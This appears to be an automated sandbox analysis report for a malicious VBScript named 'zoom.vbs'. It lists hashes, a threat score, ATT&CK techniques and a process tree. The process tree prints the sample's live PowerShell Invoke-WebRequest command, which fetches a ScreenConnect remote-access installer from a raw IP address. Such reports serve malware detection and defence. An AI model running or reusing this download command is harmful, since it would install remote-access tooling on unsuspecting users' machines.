04fc7818da3d609e6dec9122726d338adbce524786756d4b12e4352b743222db

Analysis

max time kernel
148s
max time network
114s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 15:05

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General

Target
zoom.vbs
Size 42KB
Sample260803-sgmhassema
SHA256 04fc7818da3d609e6dec9122726d338adbce524786756d4b12e4352b743222db
MD5 00e25db05ce4a4530f327bc9051abc94
SHA1 71a931cf2a41f6a776ef276ed34af51eaaf69669
SHA512 40638f3354d3b416eee01e159a64a5de71a277864aeaffacef6037f15e70f10b2dd434cb0295e935e7576f6f1c86a6e2c8b1d48894b12c4bc93ffb028c42c815
SSDEEP 384:IHUL96ptFCu6XYQm4+ngnVJzWR9DqGmpJg6lQDf1X7oE9Hvr97t73H3em82PqfH0:sUsPWNoX9HzN9iRtC2OpK01
TLSH
T15813F0D20E34ED84B3D86939BDBC7560E3E0DEBB25B7A7611087E71E1B028462715B72
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	3864	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3864	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
4356	WScript.exe
3520	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3492	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3864	powershell.exe
3864	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3864	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4356 wrote to memory of 3520	4356	WScript.exe	89
PID 3520 wrote to memory of 3492	3520	wscript.exe	90
PID 3492 wrote to memory of 3864	3492	cmd.exe	92

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\zoom.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:4356
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\zoom.vbs" /elevated
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Suspicious use of WriteProcessMemory
  PID:3520
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c powershell -Command "& { Invoke-WebRequest -Uri 'http://78.111.67.37/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest' -OutFile 'C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi' }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3492
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "& { Invoke-WebRequest -Uri 'http://78.111.67.37/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest' -OutFile 'C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi' }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3864

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3864-2-0x000002CF417D0000-0x000002CF417F2000-memory.dmp

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